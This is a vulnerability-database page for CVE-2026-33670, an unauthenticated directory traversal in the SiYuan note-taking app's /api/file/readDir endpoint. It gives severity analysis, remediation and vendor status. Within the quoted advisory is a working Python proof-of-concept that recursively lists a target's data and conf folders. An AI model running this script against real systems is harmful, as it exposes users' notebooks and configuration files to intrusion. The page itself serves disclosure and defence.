Python
CVE-2026-33670
CRITICAL
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessSend POST request to /api/file/readDir
-
ExploitTraverse directory structure without authentication
-
ExecutionEnumerate all notebook document file names
-
ImpactAccess sensitive file contents
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Remote unauthenticated attacker can exploit default SiYuan installations. The /api/file/readDir endpoint is unprotected and allows directory traversal via POST requests without authentication. No special configuration or user interaction required. |
| Impact | This vulnerability presents critical real-world risk with a CVSS score of 9.8 (Critical) due to network-based attack vector (AV:N), low complexity (AC:L), and no authentication requirements (PR:N). The CVSS vector indicates high impact to confidentiality, integrity, and availability (C:H/I:H/A:H), though the immediate exploitation primarily affects confidentiality through information disclosure. A working proof-of-concept exploit is publicly available on GitHub, significantly lowering the barrier to exploitation. The vulnerability is fully automatable, requiring only HTTP POST requests without user interaction (UI:N), making it trivial for attackers to scan and exploit exposed SiYuan instances. While not currently listed in CISA KEV, the combination of public POC, no authentication requirement, and potential for chaining with file read vulnerabilities to extract sensitive documents (notebooks, configuration files, API keys) makes this a genuine high-priority concern for any organization running SiYuan, particularly if exposed to untrusted networks. The technical impact enables complete reconnaissance of the file structure, a critical first step in data exfiltration attack chains. |
| Exploit ScenarioDerived | An unauthenticated remote attacker scans the internet for exposed SiYuan instances and identifies accessible targets via default ports or known deployment patterns. Using the publicly available Python POC or custom scripts, the attacker sends POST requests to /api/file/readDir with paths like 'data', 'conf', and 'data/plugins' to recursively enumerate all notebook directories, configuration files, and plugin structures. With the complete directory map obtained, the attacker chains this with other file reading vulnerabilities (as mentioned in the impact statement) to exfiltrate sensitive documents, API keys stored in configuration files, or proprietary knowledge base content, achieving complete data breach without ever authenticating to the system. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 25, 2026
SiYuan, a note-taking application written in Go, contains an unauthenticated directory traversal vulnerability in its /api/file/readDir endpoint. The vulnerability allows remote attackers without authentication to enumerate the entire directory structure of notebooks, configuration folders, plugins, and resource directories, which can be chained with file reading vulnerabilities for arbitrary document access. A working Python proof-of-concept exploit is publicly available, demonstrating recursive directory enumeration of data/ and conf/ directories.
RemediationAI
Users should immediately consult the official SiYuan security advisory at https://github.com/siyuan-note/siyuan/security/advisories/GHSA-xmw9-6r43-x9ww for patched versions and upgrade to the latest secure release as soon as available. Until patching is complete, implement network-level access controls to restrict SiYuan API endpoints to trusted IP ranges only, deploy the application behind an authenticating reverse proxy with mandatory authentication for all /api/* paths, or disable remote access entirely if only local usage is required. Organizations should audit logs for suspicious POST requests to /api/file/readDir with various path parameters (especially 'data', 'conf', 'plugins') originating from unexpected sources. Consider implementing application-level authentication tokens or API keys if the software supports them, and review all other API endpoints for similar missing authentication issues.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
This vulnerability affects the SiYuan kernel (github.com/siyuan-note/siyuan/kernel), a Go-based backend for a note-taking and personal knowledge management system. The flaw is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), commonly known as path traversal. The /api/file/readDir API endpoint accepts JSON POST requests with a 'path' parameter and returns directory listings without validating authentication tokens or restricting traversal scope. The endpoint processes requests with arbitrary paths (e.g., 'data', 'conf', 'data/plugins') and recursively exposes file and directory names, isDir flags, and complete structural metadata. This represents a failure to implement proper authorization checks on sensitive file system operations exposed through a web API.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Details
The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.
PoC
#!/usr/bin/env python3
"""POC: SiYuan /api/file/readDir 未鉴权目录遍历"""
import requests, json, sys
def poc(target):
base = target.rstrip("/")
url = f"{base}/api/file/readDir"
def read_dir(path, depth=0, max_depth=4):
try:
r = requests.post(url, json={"path":path},
headers={"Content-Type":"application/json"}, timeout=10)
data = r.json()
except Exception as e:
return
if data.get("code") != 0:
return
entries = data.get("data") or []
for entry in entries:
name = entry.get("name","")
if name.startswith("."):
continue
icon = "📁" if entry.get("isDir") else "📄"
indent = " " * depth
print(f" {indent}{icon} {name}")
if entry.get("isDir") and depth < max_depth:
read_dir(f"{path}/{name}", depth+1, max_depth)
# 遍历根目录
print("[+] 漏洞存在!开始遍历\n")
print(" 📂 data/")
read_dir("data", max_depth=2)
print("\n 📂 conf/")
read_dir("conf", max_depth=2)
# 保存
try:
r = requests.post(url, json={"path":"data"},
headers={"Content-Type":"application/json"}, timeout=10)
with open("readdir.json","w",encoding="utf-8") as f:
json.dump(r.json(), f, ensure_ascii=False, indent=2)
print(f"\n[+] 根目录数据已保存: readdir.json")
except: pass
if __name__ == "__main__":
poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")Impact
Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.
资源文件夹
<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />
插件文件夹
<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />
conf文件夹
<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />
Executive ViewAI
SiYuan note-taking application deployments face immediate risk of unauthorized data exposure through unauthenticated directory enumeration. Attackers can remotely discover and access sensitive notebooks, configurations, and documents without credentials, potentially exposing confidential business information, intellectual property, and user data stored within the application.
- Implement WAF rules to block or rate-limit /api/file/readDir endpoint requests. 2) Deploy network segmentation restricting SiYuan access to internal networks only, blocking external/untrusted access. 3) If applicable, disable or isolate SiYuan deployments until patch is available. 4) Implement reverse proxy authentication layer requiring credentials before reaching application. 5) Monitor access logs for suspicious /api/file/readDir requests and recursive directory enumeration patterns.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Affected Products (CPE)GitHub Advisory
Related Vulnerabilities in SiYuan Path Traversal and Information Disclosure
View all 2Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allVendor StatusVendor
SUSE
Severity: Critical| Product | Status |
|---|---|
| openSUSE Leap 15.6 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Fixed |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Fixed |
| openSUSE Leap 15.5 | Fixed |
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB